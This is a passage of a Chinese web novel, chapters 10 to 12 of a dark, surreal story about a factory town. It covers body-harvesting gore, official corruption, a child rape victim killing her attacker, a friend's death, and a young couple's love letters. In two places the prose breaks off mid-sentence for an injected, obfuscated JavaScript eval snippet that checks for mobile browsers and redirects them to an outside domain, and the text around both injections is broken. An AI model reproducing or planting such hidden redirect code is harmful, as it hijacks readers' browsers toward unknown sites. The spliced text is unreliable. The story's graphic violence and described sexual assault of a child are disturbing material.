当下,我眼前忽然浮现出林有饭站在屋顶,冲我傻呵呵笑的样子,那时候,他还不是龙震天。忽然一个软乎乎的巴掌拍来,是小九。他顶着毛茸茸的鹅黄头发,傻呵呵地冲我笑,对视的瞬间,我看到了他如流星般璀璨却短暂的未来,怎么也笑不出来。 医院里,手术台的医生们已经奋战了两个小时,托盘换了一个又一个,堆成山的□□被接二连三送出手术室,却没有倒进医疗废弃物回收箱,而是被送进了男性生殖科病房区。 一切的物品存在即可以被买卖,只要价格合适。 五元一根,纯肉屌肠,物美价廉,童叟无欺。 特殊声明:未经临床试验,不保证功效,一旦食用后毫无效果,概不负责。 此宣传单页一发,重度阳痿、不孕不育、早泄、不举的患者们趋之若鹜,医院的黑色链条瞬间供不应求。有些人抱着试试看的态度,有些人则是破釜沉舟。毕竟最坏的结果,也只是吃了不该吃的肉,蹿个稀的事儿。倘若真的有用,那可是一辈子的□□生活和传宗接代的荣耀。 手术台上的富春江俨然成了一台全自动制屌机,而且还都是大得吓人的那种。他几乎要窒息的痛苦没人了解,而且为了保证屌肠的□□和品质,反复切割的过程中不能打麻药,于是手术室的流水线就在富春江的阵阵哀嚎中,有条不紊地进行。一个医生被吵得切不下去了,就换一个医生无缝接上,护士不再担任医疗辅助的角色,而更像是个餐厅传菜员,一边往后厨里送订单,一边将新鲜的食材送给前厅跑堂。 消息比桃色新闻传播得还要快。 不止平头百姓,官员、资本家、中产都听说了这件事情,本市的,外市的,本省的,外省的。于是各种豪车开始驶进医院的地下停车场,然后医院会有专人将一个个五十公分立方的保鲜箱,双手送进车后座,并贴心叮嘱道:「两小时内食用哦。」 后来更有直升飞机停在了医院的顶楼。 如此切了一天一夜后,食用过的人保守估计已经达到六千八百七十三人,但几乎都毫无效果。 随着购买力的骤降,眼见无利可图,医生终于在接到通知后放下了手术刀。 而此时人们才发现,手术台上的富春江已经只剩皮包骨头,除了张大的嘴巴里那一条粗肉,他身上几乎没有丁点儿血肉了。他直挺挺地躺着,面颊因瘦削而深深凹陷,而眼球却如同核桃一般高耸地凸出,几乎将眼皮撑裂。他死盯着头顶的莲花灯,无神,惊悚,如果不是左胸微弱的起伏,医生甚至以为他已经死了。 医生和护士们开始着手清理手术室和操作台,二十四个小时累积了大量吸血纱布和待处理器材。 他们集体伸了伸懒腰。 「这人也是命硬,这样都不死。」 「他是命硬了,害我们在这跟着加班。」 「医院赚得盆满钵满,咱们连个盒饭都没有。」 「说来真是恶心,我中间去厕所,低头掏出自己那玩意儿,差点吐了。」 「谁说不是呢,这几乎摧毁了我的性冲动,真晦气。」 听着医生护士们的闲谈,富春江自觉无比耻辱,他艰难地挪动几乎僵硬的手臂,伸向近旁的操作台。 手术刀。 他忽然回忆起在医学院的时候,第一堂生物解剖课,导师发给所有人各一只牛蛙,他的那只最大最肥,也最是活跃不听话。慌乱之下,不等导师的指导,他手忙脚乱地一刀切开了牛蛙的脖子,如同小时候年节时跟随继父杀鸡那般。 于是他又不自禁地回忆继父。年节将近,家家户户都为预备年货忙碌起来,炸年糕、煎鲫鱼、煮豆腐、扫屋、贴红联,而其中最隆重的程序莫过于杀鸡,杀活鸡。南方的没有雪的冬天,继父穿一件旧棉袄,从笼里钳出最肥的公鸡,它红冠黑羽,雄姿威武。继父递过来一把菜刀:「我抓着,你抹它脖子,要快。」十岁的少年富春江双手颤抖,这是他与继父生活的第一个年节,也是他第一次杀鸡,他迟迟不能下手。继父面露愠色,厉声呵斥道:「磨蹭什么,一天天娘们唧唧的,快下刀啊。」 少年富春江手心汩汩地渗出热汗,他盯着那公鸡的眼睛,像鹰又像狐狸,锋利且狡黠,那眼神里分明毫无语言,却钳住他的双手,令他无论如何也动弹不得。 继父一脚将他踹倒在地:「个龟怂,来来,你拿着鸡。」 鸡转移到少年富春江的手上,它格外安静,没有一丝挣扎与反抗,甚至毫不惊恐。它的眼神一直紧紧盯着少年,不带一丝感情。冷静如同强大的神。 而少年富春江则成了弑神者之一。 继父手起刀落,公鸡笔挺的脖颈瞬间鲜血横流,继父赶紧用盆接住,嘴里还美滋滋地笑道:「这鲜鸡血可是好东西。」 常言道,鲜公鸡血可辟邪保平安,常言又道,万物有灵。 人类夺走公鸡的性命,它的怨念将化身恶灵,而又试图用公鸡血来避除邪祟。亲手制造邪与恶,又佯装无辜者规避邪与恶,难道不是自相矛盾、咎由自取。 富春江摸到了手术刀,他意念接到天启,割下这最后一条方可解脱死去。 他将刀放在那条巨肉上,内心绝望,灵魂煎熬。他眼角泛泪,用尽最后一丝力气。 近旁的医生余光扫见此情此景,冷脸将刀夺走。 「还没割够啊,神经病。」 说着,众人将富春江近旁的锋利物品尽数清走。同时不满地抱怨道:「这货自己动手有个三长两短,还得我们担责任,上个月妇产科秦大夫就被家属投诉讹了三万,大半年的工资搭进去了,抓紧收拾,然后把这瘟神送去普通病房。」 想死而不能死,想活也不能活。 此刻,富春江是否有回忆起那个被他玷污的绝美少年龙震天呢,除他自己以外,天地人间,无一可知。 古秀梅换了身玄黑正装,佩戴党徽,踏进市政府大院,并径直踏阶上三楼,来到一扇褪漆的木头门前。 「哒哒哒。」 里面传来熟悉的声音:「进。」 正是陈传富。他笑盈盈道:「呦,小古主任是稀客啊,请坐。」 古秀梅平日最厌恶打官腔,她直截了当:「陈局长,我来是为吴侑珍妹子的事儿,听说你把她接走了。」 陈传富自办公桌后起身,绕到跟前来,再次邀请古秀梅坐下:「确实有这么个事儿,来,先坐下说。」 古秀梅落座,言语刚直:「陈局长你公务忙,恐怕不晓得,吴侑珍是我儿的干妈,我儿有饭的事情想必你肯定也听说了,所以,我们家绝不能再少一个人。我希望你能清楚我的决心。」 陈传富点头敷衍道:「清楚清楚,小古主任的为人处世风格我素来有所耳闻,只是你也知道,阿珍现在变成了人鱼,而她本心是不想的,所以原本只打算带她回来叙旧,但招架不住她求我将她变回人形。我呢,刚好还是有些人脉和钱财的,自然是能帮就帮了,毕竟我们也是有过夫妻之实的,就算她背弃了我,但我陈某人是打心眼儿里喜欢她,也感谢她曾经的掏心掏肺。小古主任你放心,治疗结束后,我保证完璧归赵。」 古秀梅细细将肥头大耳的陈传富上下打量一番,继续说道:「陈局的话我最是信得过,对了,天娇最近在鹰国适应得怎么样?我们家老林的舅舅你知道的,就那个不学无术的艺术家,他前段时间来信了,说是看到天娇和几个绿皮肤人同吃同住,伙食貌似不错,人都长胖了几圈,我们家舅舅还开玩笑呢,说是跟怀孕了似的。」 话说至此,陈传富的笑脸僵在半空。 古秀梅凑近拍拍陈传富的手臂,继续道:「咱们都是当父母的,天娇我也自小看着长大,从前她什么样我是最知道的,亭亭玉立知书达理。陈局你独自抚养她这些年的艰辛大家也都看在眼里,我也给舅舅回信说,天娇这孩子太单纯,要多帮衬着点,甭管那些绿鬼是好是坏,那都得离远点,陈局,你说是不是这个道理。」 陈传富僵硬的脸色稍显缓和:「是是,那是当然。实不相瞒,女儿如今大了,好多事情根本由不得我,自打出国去,电话都没几个。」 「所以说嘛,陈局长,你就是太见外了,这现成的亲戚在那边儿,还是说你信不过我们家舅舅。」 「那没有,老林他舅的事情我都了解,人本质是好的,就是疯癫些。」 古秀梅再拍陈传富胳膊:「对的嘛,这都是自己家亲戚,回去我就写信给舅舅,让他带天娇给你通电话。」 点到为止,古秀梅借口妇联有会,起身便告辞走了。 办公桌前,陈传富夹起烟卷,一根接一根。他很清楚古秀梅的话语里不止有表层的示好,更有隐隐的威胁。我的舅舅是个疯子,善恶却无法定义,人人皆知。纵使自己在安化片区足以有通天的本领,但在那天高皇帝远的国外,也敌不过地头老鼠。到第四根烟时,他用私人手机拨通了一个号码。 当夜,袁大头的郊区庄园被一伙持刀流氓闯入,血肉模糊的吴侑珍被抢走,连夜送回土地庙。 小李和黑熊悉心照料着奄奄一息的吴侑珍,等待着下一次月圆夜。 陈传富在次日清晨接到袁大头的私人电话:「小陈,昨天夜里你送我的鱼丢了。」 陈传富演技炉火纯青:「什么!怎么会发生这种事情!袁老,您别急,我马上派人去查。」 袁大头知道陈传富和吴侑珍的旧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422484|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但这当中的逻辑显然不通,是陈传富主动将她送来的,如果纯粹说是因为后悔了,想要回去,是说不通的,他不可能为了一个女人而放弃进省领导班子的机会。 过午,陈传富亲自登门。 袁大头见他如此上心,也懒得再有疑。毕竟他对于吴侑珍也已玩腻厌烦。 一条鱼而已,在当权者的眼里,与玩具无异。 王小小死了。 自从雷雷过世后,王小小就失去生机了,他仍旧穿着从前那些白净的衬衫和皮鞋,每天用茉莉花香的皂块洗头发,胡须剃得整整齐齐,准点上班下班,勤勤恳恳。他如愿与许绣蓝成为名正言顺的夫妻,本该是极大欢喜的事情,王小小却并未摆酒席,喜糖也没发。 安化厂人见证了他从鲜活到死寂的覆灭过程。他仍旧天天捧着书本,只是那许绣蓝递来的冬天的烤栗子、夏天的西瓜,都不再似从前的味道。 两人本就这样毫无生机地、相依为命地活着。甚至自打九个孙辈儿陆续出生后,因为新生命的活泼可爱,许绣蓝和王小小甚至重新有了一丝丝人气儿。 王小小很是喜欢爱翻弄图画书的小五小六,他为数不多的走出家门,必然是来我家抱抱这两个圆滚滚的小家伙。小五小六说话晚,到两岁时仍只会些简单的叠音,于是王小小主动因时制宜地给自己改名为「呀呀」。 我用很粗糙的话劝解他:「日子还是要过的,你要想想许绣蓝,总不能让她守着一个闷闷不乐的丈夫吃一辈子冷饭吧。」 王小小将给小五折的纸飞机投去空中,表情淡淡道:「是我亏欠她,可是,林哥,面对这个世界,我提不起半点精神。当夜你也看到了,雷雷就那样被放进了热锅里,一时间,我不确定这个世界继续存在的意义是什么。从前我常自欺欺人,对人性的冷血和魔幻,选择性忽视,我总以为存在即合理,无论众生是多么的荒诞,既然存在必然有其意义所在,至少我的心和爱是自由的,可那口热锅将我烫醒,文明在退步,平民如草芥,你我这样的普通人,想活就要忍,忍耐贫穷、忍耐欲望、忍耐不公。我看着绣蓝一遍遍地申请立案审理,一遍遍地碰壁、受挫,她是那样天真单纯,怀抱着绝不可能的正义期许,终将会撞得头破血流。我不忍心阻止她,可你我非常清楚,如果没有古秀梅的从中斡旋,绣蓝怕是早就被□□办关进无人知晓的黑房子里了。每一次休息日的清晨,她早早起床,穿戴整齐,将钥匙和申请材料放进手提包,然后出门的时候,我便开始提心吊胆,我担心她再也回不来。 「我承认我的懦弱,我也不知道自己因何而懦弱。我和许绣蓝没有孩子,我的父母也早已病逝,赤条条无所挂碍,按道理我应该是最无所畏惧的冲锋人,可是这没来由的无力感几乎令我起不来床。我没有把柄可以被威胁,我也并不惧怕死亡,唯一的软肋是许绣蓝,而她已经先于我投入战斗,我理应为爱追随她而加入战斗,可我却几乎与家里的沙发和床板融为一体,拿不住半点力气。」 「小小,我给不了你任何建议和支持,因为我比你更软弱无能。」 老友叙旧,变成了无能男人们的情绪倾诉大会,参会两人,地点在我家。 王小小继续说:「像我这样的人,什么都不做,就是我最大的反抗。我希望可以尽微薄的力量加速文明的衰败和人类的灭亡。当我编造出这个理由后,过得稍微心安理得了一些。可当我想到老庄媳妇、你和古秀梅,还有刚刚听说的吴侑珍李老师,又瞬间无地自容。在某一些瞬间,我甚至萌生出了憎恶你们的念头,几次险些要下恶毒的诅咒到你们身上。某次我阴郁至极时,古秀梅来到家里,说是听闻牦牛省有一位刚正不阿的检察官,她与许绣蓝紧握彼此的手,充满斗志与希望。那样子令我感到深深的可笑,我甚至有点厌烦两人,并为此重重地摔了房门。」 「而我很快意识到,这是我无能的表现之一。我不仅自己懦弱,还对那些比我顽强勇敢的人嗤之以鼻。我成了书籍中最讨厌的反派角色。」 正说着,房门再次被敲响,我起身开门,站着的是独眼张。他双手递来一张大红色请柬,五官移位的脸上露出羞赧的憨笑:「林哥,我和兰雪要办酒席了,八月初八,你和古主任一定要来哈。」 我笑着应下,并邀他进屋。 他眼神落在屋里沙发上,在瞥见七魂失了三魄的王小小时,笑容瞬间僵硬。他尴尬得不知如何推辞,只好进屋。 塞满孩童用品的客厅里,独眼张雷达般仔细搜索一番,还是只能坐在王小小近处的另一半沙发上,旁处毫无落座的可能性。 他从随身包里又掏出一张红喜帖,眼神躲闪地递到王小小眼前:「王哥,那我就不特地去登门了,你和绣蓝姐请务必来喝口喜酒哈。」 王小小木讷地接过:「嗯,一定,你和兰雪可要好好的。」 独眼张两手摩挲着膝盖,点头道:「嗯,你和绣蓝姐也好好的。」 自雷雷过世后,独眼张一直刻意回避着许绣蓝和王小小。刘罐头对独眼张下了死命令,叫他无论如何都不能与人谈论起那晚的事情,也不许他与许绣蓝、王小小往来。 11. 念恩 独眼张看着外貌扭曲,心思却很朴实。他自幼眼睛存在缺陷,后又因被恶霸孩子们推进废井,摔伤了骨头,落下了跛腿的毛病。他母亲是买来的外地女子,在他断奶后便逃跑了,父亲常年下矿赚钱,他从小与姐姐张海燕相依为命。后来父亲矿难过世,经人介绍,姐姐海燕攥着微薄的赔偿款,带他背井离乡来到安化厂附近生活,干起了哭丧的行当,次年便认识了刘罐头。 海燕是个极为能干的女子,她矮小却敦实,心思精明手脚勤快,身体里总能迸发出巨大的能量。 初到安化厂时,独眼张因其特立独行的外貌,总是受到不友好的言语和眼色,他担心反抗会激化施暴者的情绪,进而引发更严重的霸凌,所以总是选择忍耐,又或是礼貌地恳请对方不要总拿自己开玩笑。而这显然起不到半点作用。 海燕撞见此事后,她大步上前,仰着头,丝毫不惧对方人高马大的体型优势,姿态强硬地向领头者说道:「敢不敢同我打一架,若我赢了,你们向我弟弟道歉,并承诺再不欺负他。」 领头的男人嘲讽地笑道:「你确定吗?巴掌大的小猴子。」 话音刚落,只见海燕跳着用双手钳住了男人的脖子,并狠狠地咬住了男人的耳朵,任凭男人如何摔、掐、拧、打,同伴们扯她头发、甚至拿来铁棍试图撬动她,而她纵使疼得满脸通红,仍死死禁锢着男人不肯松手。几分钟后男人举手投降,海燕才松了牙齿,从其脖子上下来。男人捂着流血的耳朵,大声叫嚣着不算数。「你这是无赖,不是打架,这根本不能算。」又是话音未落,尚且浑身通红的海燕,抬手一拳打在男人的喉结上,顺势接一脚踢在他的小腿,男人疼得嗷嗷直叫。其近旁的同伴看得目瞪口呆。 这个男人便是刘罐头。 后来他因崇拜海燕的泼辣而与她结婚,而自从有了刘罐头这个姐夫,安化厂民们对独眼张的表面态度也有了转变。 独眼张对于走私丧葬用品,心里其实是不愿意的,但姐姐张海燕是站在刘罐头的一方。自小姐姐海燕一直像妈妈一样保护着他,他无法拒绝。在遇到兰雪之前,独眼张从未违背过姐姐的意志,即便张海燕让他去帮忙杀人埋尸,他也是绝不会犹豫迟疑的。所以关于那晚雷雷死亡的线索,他从未对人提及过。 原则上,我不能向世人透露任何我没有亲眼看到的事情,救吴侑珍是历史里安排好的例外,但想要达到目的其实还有许多委婉间接的办法。 我从厨房的顶柜里掏出一瓶高度烈酒,又从卤味缸里捡出小半斤牛肺,潦草地切片堆进白碟里,转身笑呵呵地迈进客厅。 独眼张的所有精明都是受人影响,他本质是非常不设防备的。我热情邀请他喝酒,不容推辞地倒了满满一大杯,把手里的筷子匀一双给他,另一双塞进王小小的手里。我坐在地板的木头凳子上,端起酒杯,撺掇独眼张开始喝。起初他还面露难色地小口抿,三两抿之后,不胜酒力的他已然飘忽起来,饮酒也愈发大口起来。 酒精自诞生起,便从不单单只是作为饮料的配角。如果说人类潜意识里的欲望与恶念是囚禁在暗室里的魔鬼,那酒精便是撬开那锁头的帮凶。它像一条迷惑意志的蛇妖,无论是平日里多么思想和行为严防死守的人,在它的迷魂攻势下,最终都只会缴械投降。而这也使得许多心怀鬼胎之人将其作为替罪羔羊,在现代文明的语境下,白菜城更是曾将饮酒和精神疾病并列作为减刑的缘由之一。为此,无数的男人饮酒后闯进未成年女子的家里,搞出惊天动地的动静后,被当庭无罪释放,而女子们却总是缺乏饮酒后手刃凶手的勇气。 朴念恩却是个勇气十足的姑娘。 半个世纪前,彼时我已经接近上一世的暮年,某个清光朗朗的晨曦,我在疲惫的梦境中醒来。摇椅旁的茶几上还放着一杯温热的普洱。七点五十五分,敲门声准时响起,邮递员小宋的声音传来,为了证明我还活着,我高声给予回应。他满意地离开,我起身去开门,拿到了属于今天的新闻报纸。我回到躺椅上,将毛毯盖到腰间,并把剩余的半杯茶水送进嘴里,像大多数关心世界局势的老年人那般,郑重地翻开报纸,并在国际新闻版面的头条如期读到了念恩的故事。 年仅十岁的念恩是智慧女子小学的四年级学生,她成绩优秀、热爱音乐和追星,同时还是校足球队的中锋队员。周五放学后,她离开学校却迟迟没有回家,直到天光漆黑,父母联系遍老师和同学,却怎么也找不见他的身影。失踪三小时后,警察也参与进来。学校、街道、家附近的公园、自习室以及孩子们经常去的茶饮店和小吃摊,狭小城镇的角落几乎被警察翻了个遍,毫无线索。周六的中午,人们在儿童公园的长椅上发现昏迷的她,她的书包干净完整,校服血红一片。好心人报警并送她到医院,诊断很快传遍小镇:多次性侵,□□撕裂,内脏出血。为了救活她,她的特征器官将被摘除,肠和脾也会被切除部分。手术过程中,她安静地睡着,没有觉察丝毫疼痛。 凶手很快被捉拿归案,他拎着酒瓶和精神鉴定证书前往警局自首,他对自己所犯下的恶行供认不讳,却手握完美的免责声明,故仅仅在二十四小时后便闲庭信步般走出了警局。而极其讽刺的是,此时,经历了二十六个小时抢救与手术的念恩,甚至还没能从麻醉的药效中醒来。 五十天后,念恩被从医院接回到家里。父亲将她的房间粉刷成了明媚的亮粉色,并布置了许多新娃娃。在念恩的要求下,她房间的窗户被封死,装上了结实的铁栏杆。父母也知道女儿心底的害怕,却似乎什么都做不了,父亲有过冲动想要手刃凶手,却被母亲拦下。念恩后续的康复和治疗需要大量的费用,他们不能坐牢,必须得留在她身边,努力工作。 市民请愿惩处凶手的队伍每日午后从她的窗户外走过,人们向她表达关心,鼓舞她不要陷于痛苦。念恩听着那些声音,内心一点点发生变化,逐渐她开始相信,自始至终自己从没有错,自己还是那个优秀的女孩。 又五十天后,念恩已经可以独立走出家门,她站在久违的阳光里,内心萌发出了与法律相悖的光明。她似乎脱胎换骨,比从前更坚毅了。当晚她跟踪凶手,走进镇上一家情色主题酒馆,老板和陪酒小姐看到了她小手里攥着的刀,他们没有阻拦,而是默默地帮他遮挡凶手的视线。凶手坐在昏暗的沙发座里,陪酒小姐殷勤地滑进其怀里,热情似火地向他嘴里喂酒。凶手狠着脸饮下,并一口咬在陪酒女的嘴唇上。时机就在眼前,十岁的念恩两手颤抖,她从未如此清晰地感受到自己的心跳,砰!砰!砰!几乎要将她单薄的胸腔砸穿。 她并非想惩罚恶,而是出于恐惧。当久违地站在阳光里,她心里所想的并不是要作为受害者亲手惩戒恶魔,她无意伸张正义。她的念头很纯粹,她只想重新回到那个可以肆无忌惮在阳光里奔跑的自己。而那个男人的存在便是一种威胁,她要清除这个威胁。 手是颤抖的,但好在刀很锋利,几乎是蜻蜓点水般的一抹,男人的血如同喷泉般自颈动脉涌出。 陪酒小姐虽已有所心理准备,却还是吓得花容失色,善良的她慌乱中仍不忘抱紧念恩,捂住她年幼的眼睛。 「不要看,不要看。」 她声音和身体都在颤抖。 「你是未成年人,到时跟警察说一声就可以直接回家了,记住,你永远是个好孩子。」 几天后,这条延续了近百年的荒诞法律被废除。念恩是这条法律的最后一个受害者。她由此被登入报纸,并成为被写进人类法律历史的第三十八位女性。 数千年的人类法律史,其名册里,女性者不足四十人,而男性却有一万六千多名。如此悬殊的数据差当真只是因为女性天资笨拙、法律思维薄弱吗?其实并不然。其本质缘由是,与女性相关的法律条款,如果想要去推动或修正,大多是要付出沉重代价的,这个代价或是贞洁、名誉、尊严,或是无数条性命。其代价之惨烈,许多时候都令人望而却步,而男性想要在法律历史上留名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422485|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仅需要提出一项不功不过的法律条文即可。 很快,独眼张在酒精的蛊惑下,将当夜的实情和盘托出,当中的不确定之处,他也描述得不偏不倚。 沙发里早已心如死灰的王小小,突然犹如回光返照般笔直地坐了起来,他两手攥紧独眼张的衣领,摇晃着已经酒醉的他再次确认:「你发誓你说的都是真的。」 而独眼张在昏睡前的最后一刻,脱口而出:「我发誓都是真的,杨海军拎着雷雷去了同心湖边,我追到的时候,雷雷已经在湖里,杨海军不见了踪影。」 王小小怔在原地,他无法相信,将自己和许绣蓝生活搅碎的真相一直近在咫尺,可他却被懦弱和逃避限制了嘴和腿。他回想着这些年许绣蓝到处奔波的疲惫模样,忽然意识到自己应该做些什么。他将独眼张摔进沙发里,随即起身欲出门。 「小小,你要想清楚,如果是用你此生最宝贵的东西换一个真相,你能不能接受?」 王小小思忖两秒,随后目光坚定地继续关门而去。这将会是他毕生都感到值得的一刻。 作为一个历史学家,我知道所有事情的过程和结果,我自然清楚王小小接下来会走向何处,然而我不打算出手干预。一来是神并未赋予我更改任何历史走向的能力和权利,二来这当中夹杂着我见不得光的私心。我的孩子死去时,我选择沉默,坏人最终得到惩罚,可那惩罚并不来自于我。而在将来,面对九个孙子的陆续死亡,我的境地几乎如出一辙,我为自己的软弱无能感到深深的懊悔和遗憾,以至在许多年后整个文明分崩离析,而我作为永生的历史记录者,成为在地球上最后的、孤独的、唯一一个人类,独自坐在矮屋前,望向太阳时,我仍在为未能替他们复仇而懊悔不已。 扭打间,王小小意外被杨海军推下阳台。 而杨海军也因为这众目睽睽的失手误杀而被判入刑。后来我将这事告诉了许绣蓝。 我并非是怕许绣蓝责怪我,我只是生怕她误会王小小,误会他是一个简单的、惹是生非的莽夫,我告诉她,王小小心里是实打实地爱护、在意许绣蓝和雷雷的。许绣蓝听后不知该喜还是该悲,她哭着笑又笑着哭,她失去了两个最爱的人,最终如愿获得了真相。害人者已经判刑坐牢,她瞬间感到失去了生活的意义。她不用再为雷雷的立案而四处奔波,结果来得如此意料之外,她忽然觉得从前自己的盲目坚持像一个笑话,她内心深深愧疚,在经年累月的奔走中她全然忽略了王小小,从何时开始的,他从一个鲜艳明媚的少年,变成了一个死气沉沉的面偶人。她竟毫无觉察。 而就在她郁郁沉沉几乎就要沦为第二个王小小时,龙五和龙六爬到她身边,老六抚摸着她业已衰老的脸庞,而老五则握住了她不知不觉爬满皱纹的双手。许绣蓝的眼睛瞬间回过神来,她搂住这两个可爱的小家伙,把他们抱进怀里,用脸颊去摩挲他们的小手。 「好乖乖,好乖乖。」 那个瞬间我便知道许绣蓝不会成为王小小了。她会继续保持对生活的热度,直到几十年后,龙五会把她接去无忧国,在阿尔卑斯山恬然老去。 龙五和龙六的故事也将就此展开。彼时谁也没有想到,从小便抱团在图画书里长大的两个人,将来会拥有如出一辙的理念,和截然不同的生活方式。他们的童年浸淫在图书和歌谣里,一个接近于艺术家的培养氛围中,不可避免地,两人成为了浪漫主义者。他们如同二十世纪八九十年代的嬉皮士们一样,热衷艺术,歌颂爱与自由。 两人在十四岁的五月和六月分别背着行李走出家门。彼时五十四岁的我已经摘掉了思想犯的帽子,两人离开家门那天,我正埋头清扫门前的落叶,他们乖巧地前来道别: 「爷爷,我要出远门了。」 「记得带好地图、粮食和雨伞,在外要切记躲避风雨,受凉可不是一件小事情。」这是我所能想到的最要紧的东西。 他们很开心地挥手。这便是我与他们的最后一面。 12. 芍药 龙五所崇尚的爱是纯洁的、唯一的、不可撼动的。他在食物用尽后的傍晚走进一户养蜂人的临时棚屋里,并与棚屋主可爱的女儿一见钟情。两人虽近在咫尺,却以情书的形式迅速坠入爱河。 「可爱的山茶小姐,请原谅我以如此尊敬且正式的语气称呼你。你在我的心中,是一株至高无上的纯洁的爱情橄榄枝,而我是卑微无礼的凡人。我无时无刻不在仰望你。该如何描述初见你时的那种惊艳与悸动呢?所有的比喻都显得尤为苍白,就如同亲眼见证神的降临一般。你拥有不容置疑的美丽和令人自惭形秽的善良。你是那高高在上的圣洁的公主,而我是马戏团里逗弄的小丑。我知道这油腻的语言可能会令你作呕,可是我不得不说,因为这全部出自我的真心。糟糕,救命,从前我不是这样的人。请你务必不要误解我,如果你对我存在疑问或者厌恶,请一定直接告诉我,给我一个解释的机会。」 「龙五先生,你炽热如火的眼神里,已向我全然揭示你的真心,我毫不怀疑。而我希望你不要把我捧得高高在上。看过你的描述,我诚惶诚恐。如果你是小丑,请把我比作马戏团的花瓶少女吧,悬殊的爱,总是不会有好结果,而我盼望一个好结果。今天父亲因为你无意弄撒一罐蜂蜜而大发雷霆,我诚挚地希望你不要记恨他。在我们这个尚被贫穷所困扰的家庭里,一罐蜂蜜意味着半个月的面粉。我也恳请你不要因此而离开棚屋,如果我可以作为你留下来的理由。」 「可爱的山茶小姐,我想一定是我平日表现出来的品行太过卑劣了,才会让你觉得我会因为打翻一罐蜂蜜受到应有的批评而去记恨批评我的人,或者选择逃离。非常感谢你能给我解释的机会,也让我有了向你剖析自己的契机。首先需要明确的是,你无需在我的面前放低自己的身段。自我见到你的第一眼起,我便认定,此生我的爱情非你不可。你完全不必怀疑我的真心因为它只有一颗且已全然属于你。该诚惶诚恐的人是我,我孑然一身没有钱财和声望,如果你现在想要商铺橱窗里的鹅黄色礼服,我是断然给不起你的。毋庸置疑的是,在这世上愿意给你买下那套鹅黄色礼服的男子,成千上万。你值得他们当中最好的一个。」 「龙五先生,我想你的眼睛似乎是被什么雾气笼罩住了,请你客观地看看我身上破败的衣裙和蓬乱的头发。那成千上万的男子是断然不会多瞧上我一眼的。」 「不,我美丽的山茶小姐,你对自己存在着比指鹿为马还离谱的误解。我发誓三个月内必将为你买下那套鹅黄色礼服,好叫你站在镜子前彻底将自己看个清楚明白。你客观的美丽,犹如蒙尘的珠玉,无需多用力,便可光彩照人。」 「龙五先生,你总是这样恭维我,这让我不免生出怀疑你的心思来。自懂事起,我从未被人如此夸赞和珍视过。仅仅认识三天,我已经开始担心你移情别处、不辞而别了。」 「山茶小姐,我怕是又说错什么话了,我该如何补救。我生怕词不达意,不能尽数向你传达这皮囊里爱意汹涌的真心,又怕言辞过度,而令你反感和曲解。恳请你不要怀疑我,好吗?」 「龙五先生,来自你言语的爱意,我已感受至深,我绝不怀疑。该怎么向你言明我辗转反侧的心境,这令我彻夜苦恼难眠。对不起,我情不自禁地流下泪了,打湿了纸张。关于这没来由的忧伤和痛苦,超过了我的语言能力,请容我冷静下来,再与你回信吧。恕我这些天无法再与你共同前往镇上售卖蜂蜜了。」 「山茶小姐,如果我的爱意是你痛苦的来由,你可以尽情地拒绝我,我绝不会因为你的决绝而做出过激的举动。如果你需要我避而远之,我便离开。」 「山茶小姐。你果真没有出现,我度日如年,整理蜂箱时也心不在焉,将脚伸进了卡槽里并扭伤,不过并没有触及筋骨。你的父亲很好地为我敷药,并给我半天假期休息。可我委屈得几乎想掉眼泪,为什么在我受伤的时候,你狠心没有出现呢?我故意喊得那样大声,你竟然无动于衷,你为何如此狠心。」 晚饭时,山茶悄声走出房间。养蜂的父亲将馒头塞进嘴里,腮帮鼓鼓地大口咀嚼。 「两天闭门不出,不吃不喝,你要修仙啊?」 山茶听着父亲的唠叨,来到饭桌旁,安静坐下。她抬眼偷瞄着对面的龙五,却正撞上他炙热的眼神,那眼神里有爱也有疲惫。山茶飞快地躲开,随即便低声抽泣起来。 养蜂父亲眼见女儿突然哭泣,一时茫然地心疼起来。他起身去壁柜罐子里掏出两颗彩纸糖果,弯腰送到女儿眼前,语气柔和地哄道:「昨天市集的糖果铺新进的水果糖,说是酸酸甜甜的可好吃了,来,吃糖就不哭了。」 山茶乖巧地接过,剥开一颗送进嘴里。又酸又甜,像极了她那患得患失的爱情。 「龙五先生。我竟从未设想过,你的爱会消失得如此之快,我几乎是不敢承认的,从你眼睛里所看到的疲惫。你为什么要责备一个深陷精神痛苦的人,没有及时关心你的扭伤呢?我已经自顾不暇。将来还会有无数这样的时刻。」 「山茶小姐。我的疲惫并不来自对你的责备,而是我也陷入了精神痛苦里。面对着自己的爱意之火被屡屡浇下冷水,我陷入自我证明的漩涡里。我试图寻找一个方法,向所爱之人证明山海不移的决心,却似乎事与愿违。我越是奋力证明,你越是离我远去。如果我答应什么都不做、什么都不再说,你愿意明天走出房间,一起去售卖蜂蜜吗?」」 「龙五先生,如果你保证能做到再不说海誓山盟的那些话,我愿意与你同往。」 相比龙五与山茶的拉扯含蓄,龙六的爱情来得便放纵绚烂得多。 离家后,他脚不沾地,半月后抵达千里之外的国际禁区——乌托邦城。 刚踏进城门,他便被一个飞行员装扮的姑娘撞翻在地,姑娘趴在他起伏的胸膛上,扑闪着大眼睛打量他。她好奇地发问:「你叫什么名字?从哪里来?」 「我叫龙六,从安化厂来。」 「安化厂?我从没离开过乌托邦城,那里是什么样子?」 